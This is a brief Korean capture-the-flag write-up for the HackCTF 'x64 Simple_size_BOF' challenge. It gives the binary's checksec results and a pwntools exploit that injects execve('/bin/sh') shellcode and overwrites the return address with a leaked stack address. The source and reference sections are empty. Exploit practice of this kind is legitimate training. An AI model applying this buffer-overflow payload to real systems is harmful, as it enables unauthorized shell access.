[hackctf] x64 Simple_size_BOF

 

문제 소스

 

 

보호기법

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

 

문제 분석 및 페이로드

from pwn import *
context.arch='x86_64'
p=process("./Simple_size_bof")
p.recvuntil("buf: ")
addr=p.recvline()[:-1]
shell=asm(shellcraft.execve("/bin/sh",0,0))
print len(shell)
pay=shell
pay+="A"*(0x6d30-37)
pay+='B'*0x8
pay+=p64(int(addr,16))

p.sendline(pay)

p.interactive() 

 

 

참고문헌 및 힘들었던 부분